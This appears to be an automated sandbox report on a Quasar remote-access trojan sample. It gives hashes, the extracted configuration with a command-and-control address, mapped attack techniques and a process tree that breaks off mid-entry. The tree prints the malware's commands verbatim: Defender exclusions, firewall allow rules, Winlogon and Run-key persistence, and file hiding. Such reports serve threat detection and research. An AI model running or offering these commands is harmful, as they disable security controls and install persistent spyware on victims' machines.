quasar | c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272

Analysis

max time kernel
149s
max time network
154s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
01-11-2024 17:31

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General

Target

c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe
Size

1.4MB
MD5

f26ef938c2c4235c5e4cdb4ebb801fca
SHA1

7c3413c638ea0c93cf2951cf05249df89bd98ff8
SHA256

c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272
SHA512

84d9d421b6794d412f55d8db296d55b46d25c0980da4a75eacf39d9ad912403bfd0a09142c907328df47b0a676826bd8a0ac422d6e89541da5ca49c13f073096
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

10^/10

quasar -discovery evasion execution persistence privilege_escalation spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

94.131.105.161:12344

Mutex

QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes

encryption_key
5Q0JQBQQfAUHRJTcAIOF
install_name
lient.exe
log_directory
Lugs
reconnect_delay
3000
startup_key
itartup
subdirectory
SubDir

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\Music\\rot.exe,"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\Music\\rot.exe,"	reg.exe

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2788-95-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-97-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-100-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-102-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-101-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2780	powershell.exe
2552	powershell.exe
1388	powershell.exe
1472	powershell.exe
436	powershell.exe
580	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
2356	netsh.exe
2148	netsh.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
behavioral1/files/0x0003000000018334-54.dat	acprotect

Executes dropped EXE 4 IoCs

Processes:

7z.exeratt.exeratt.exerot.exe

pid	Process
3004	7z.exe
1636	ratt.exe
720	ratt.exe
1288	rot.exe

Loads dropped DLL 6 IoCs

Processes:

cmd.exe7z.exepowershell.execmd.exe

pid	Process
2928	cmd.exe
2928	cmd.exe
3004	7z.exe
580	powershell.exe
2928	cmd.exe
1532	cmd.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ratt = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ratt.exe"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
6	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

Processes:

rot.exe

description	pid	Process	procid_target
PID 1288 set thread context of 2788	1288	rot.exe	70

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x0009000000018b28-48.dat	upx
behavioral1/memory/3004-53-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x0003000000018334-54.dat	upx
behavioral1/memory/3004-56-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/3004-58-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/memory/3004-62-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

PING.EXEInstallUtil.exenslookup.exepowershell.exereg.exereg.execmd.exeWMIC.exenetsh.exereg.execmd.execmd.execmd.exePING.EXEcmd.execmd.exepowershell.exepowershell.exenetsh.exeratt.exePING.EXErot.exepowershell.exePING.EXEc5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exepowershell.exe7z.execmd.exeWMIC.exeattrib.execmd.exePING.EXEpowershell.execmd.exeWMIC.exeratt.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nslookup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ratt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ratt.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 9 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.execmd.exePING.EXEcmd.exePING.EXEPING.EXEPING.EXEPING.EXEcmd.exe

pid	Process
880	cmd.exe
680	cmd.exe
2092	PING.EXE
2736	cmd.exe
1332	PING.EXE
2604	PING.EXE
2568	PING.EXE
1648	PING.EXE
1532	cmd.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid	Process
2092	PING.EXE
1648	PING.EXE
1332	PING.EXE
2604	PING.EXE
2568	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeratt.exeratt.exerot.exe

pid	Process
2780	powershell.exe
2552	powershell.exe
1388	powershell.exe
1472	powershell.exe
436	powershell.exe
580	powershell.exe
1636	ratt.exe
720	ratt.exe
1636	ratt.exe
720	ratt.exe
1636	ratt.exe
720	ratt.exe
1636	ratt.exe
720	ratt.exe
1288	rot.exe
1288	rot.exe
1288	rot.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeWMIC.exe

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2996	WMIC.exe
Token: SeSecurityPrivilege	2996	WMIC.exe
Token: SeTakeOwnershipPrivilege	2996	WMIC.exe
Token: SeLoadDriverPrivilege	2996	WMIC.exe
Token: SeSystemProfilePrivilege	2996	WMIC.exe
Token: SeSystemtimePrivilege	2996	WMIC.exe
Token: SeProfSingleProcessPrivilege	2996	WMIC.exe
Token: SeIncBasePriorityPrivilege	2996	WMIC.exe
Token: SeCreatePagefilePrivilege	2996	WMIC.exe
Token: SeBackupPrivilege	2996	WMIC.exe
Token: SeRestorePrivilege	2996	WMIC.exe
Token: SeShutdownPrivilege	2996	WMIC.exe
Token: SeDebugPrivilege	2996	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2996	WMIC.exe
Token: SeRemoteShutdownPrivilege	2996	WMIC.exe
Token: SeUndockPrivilege	2996	WMIC.exe
Token: SeManageVolumePrivilege	2996	WMIC.exe
Token: 33	2996	WMIC.exe
Token: 34	2996	WMIC.exe
Token: 35	2996	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2996	WMIC.exe
Token: SeSecurityPrivilege	2996	WMIC.exe
Token: SeTakeOwnershipPrivilege	2996	WMIC.exe
Token: SeLoadDriverPrivilege	2996	WMIC.exe
Token: SeSystemProfilePrivilege	2996	WMIC.exe
Token: SeSystemtimePrivilege	2996	WMIC.exe
Token: SeProfSingleProcessPrivilege	2996	WMIC.exe
Token: SeIncBasePriorityPrivilege	2996	WMIC.exe
Token: SeCreatePagefilePrivilege	2996	WMIC.exe
Token: SeBackupPrivilege	2996	WMIC.exe
Token: SeRestorePrivilege	2996	WMIC.exe
Token: SeShutdownPrivilege	2996	WMIC.exe
Token: SeDebugPrivilege	2996	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2996	WMIC.exe
Token: SeRemoteShutdownPrivilege	2996	WMIC.exe
Token: SeUndockPrivilege	2996	WMIC.exe
Token: SeManageVolumePrivilege	2996	WMIC.exe
Token: 33	2996	WMIC.exe
Token: 34	2996	WMIC.exe
Token: 35	2996	WMIC.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeIncreaseQuotaPrivilege	2632	WMIC.exe
Token: SeSecurityPrivilege	2632	WMIC.exe
Token: SeTakeOwnershipPrivilege	2632	WMIC.exe
Token: SeLoadDriverPrivilege	2632	WMIC.exe
Token: SeSystemProfilePrivilege	2632	WMIC.exe
Token: SeSystemtimePrivilege	2632	WMIC.exe
Token: SeProfSingleProcessPrivilege	2632	WMIC.exe
Token: SeIncBasePriorityPrivilege	2632	WMIC.exe
Token: SeCreatePagefilePrivilege	2632	WMIC.exe
Token: SeBackupPrivilege	2632	WMIC.exe
Token: SeRestorePrivilege	2632	WMIC.exe
Token: SeShutdownPrivilege	2632	WMIC.exe
Token: SeDebugPrivilege	2632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2632	WMIC.exe
Token: SeRemoteShutdownPrivilege	2632	WMIC.exe
Token: SeUndockPrivilege	2632	WMIC.exe
Token: SeManageVolumePrivilege	2632	WMIC.exe
Token: 33	2632	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

InstallUtil.exe

pid	Process
2788	InstallUtil.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.execmd.execmd.execmd.exepowershell.execmd.exe

description	pid	Process	procid_target
PID 2512 wrote to memory of 2928	2512	c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe	30
PID 2512 wrote to memory of 2928	2512	c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe	30
PID 2512 wrote to memory of 2928	2512	c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe	30
PID 2512 wrote to memory of 2928	2512	c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe	30
PID 2928 wrote to memory of 2896	2928	cmd.exe	32
PID 2928 wrote to memory of 2896	2928	cmd.exe	32
PID 2928 wrote to memory of 2896	2928	cmd.exe	32
PID 2928 wrote to memory of 2896	2928	cmd.exe	32
PID 2896 wrote to memory of 2904	2896	cmd.exe	33
PID 2896 wrote to memory of 2904	2896	cmd.exe	33
PID 2896 wrote to memory of 2904	2896	cmd.exe	33
PID 2896 wrote to memory of 2904	2896	cmd.exe	33
PID 2928 wrote to memory of 2032	2928	cmd.exe	34
PID 2928 wrote to memory of 2032	2928	cmd.exe	34
PID 2928 wrote to memory of 2032	2928	cmd.exe	34
PID 2928 wrote to memory of 2032	2928	cmd.exe	34
PID 2032 wrote to memory of 2996	2032	cmd.exe	35
PID 2032 wrote to memory of 2996	2032	cmd.exe	35
PID 2032 wrote to memory of 2996	2032	cmd.exe	35
PID 2032 wrote to memory of 2996	2032	cmd.exe	35
PID 2928 wrote to memory of 2780	2928	cmd.exe	37
PID 2928 wrote to memory of 2780	2928	cmd.exe	37
PID 2928 wrote to memory of 2780	2928	cmd.exe	37
PID 2928 wrote to memory of 2780	2928	cmd.exe	37
PID 2928 wrote to memory of 2552	2928	cmd.exe	38
PID 2928 wrote to memory of 2552	2928	cmd.exe	38
PID 2928 wrote to memory of 2552	2928	cmd.exe	38
PID 2928 wrote to memory of 2552	2928	cmd.exe	38
PID 2928 wrote to memory of 1388	2928	cmd.exe	39
PID 2928 wrote to memory of 1388	2928	cmd.exe	39
PID 2928 wrote to memory of 1388	2928	cmd.exe	39
PID 2928 wrote to memory of 1388	2928	cmd.exe	39
PID 2928 wrote to memory of 1472	2928	cmd.exe	40
PID 2928 wrote to memory of 1472	2928	cmd.exe	40
PID 2928 wrote to memory of 1472	2928	cmd.exe	40
PID 2928 wrote to memory of 1472	2928	cmd.exe	40
PID 2928 wrote to memory of 436	2928	cmd.exe	41
PID 2928 wrote to memory of 436	2928	cmd.exe	41
PID 2928 wrote to memory of 436	2928	cmd.exe	41
PID 2928 wrote to memory of 436	2928	cmd.exe	41
PID 2928 wrote to memory of 3004	2928	cmd.exe	42
PID 2928 wrote to memory of 3004	2928	cmd.exe	42
PID 2928 wrote to memory of 3004	2928	cmd.exe	42
PID 2928 wrote to memory of 3004	2928	cmd.exe	42
PID 2928 wrote to memory of 580	2928	cmd.exe	43
PID 2928 wrote to memory of 580	2928	cmd.exe	43
PID 2928 wrote to memory of 580	2928	cmd.exe	43
PID 2928 wrote to memory of 580	2928	cmd.exe	43
PID 580 wrote to memory of 2356	580	powershell.exe	44
PID 580 wrote to memory of 2356	580	powershell.exe	44
PID 580 wrote to memory of 2356	580	powershell.exe	44
PID 580 wrote to memory of 2356	580	powershell.exe	44
PID 580 wrote to memory of 2148	580	powershell.exe	45
PID 580 wrote to memory of 2148	580	powershell.exe	45
PID 580 wrote to memory of 2148	580	powershell.exe	45
PID 580 wrote to memory of 2148	580	powershell.exe	45
PID 580 wrote to memory of 2232	580	powershell.exe	46
PID 580 wrote to memory of 2232	580	powershell.exe	46
PID 580 wrote to memory of 2232	580	powershell.exe	46
PID 580 wrote to memory of 2232	580	powershell.exe	46
PID 2232 wrote to memory of 2632	2232	cmd.exe	47
PID 2232 wrote to memory of 2632	2232	cmd.exe	47
PID 2232 wrote to memory of 2632	2232	cmd.exe	47
PID 2232 wrote to memory of 2632	2232	cmd.exe	47

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
2584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe
"C:\Users\Admin\AppData\Local\Temp\c5771e769360e622765173e2845bae54b79092ad52c0cbf4c52b668b4e740272.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:2904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2032
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2996
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2780
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2552
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3004
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:580
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2356
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2232
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="BCXRJFKE" set AutomaticManagedPagefile=False
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1820
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1596
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1636
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 8 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:880
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 8
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2092
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:2388
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 20 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 20 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2736
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 20
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1332
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2584
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1684
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:720
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:680
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1648
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:2120
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 14 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 14 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1532
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 14
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2604
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 14
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2568
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1288
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
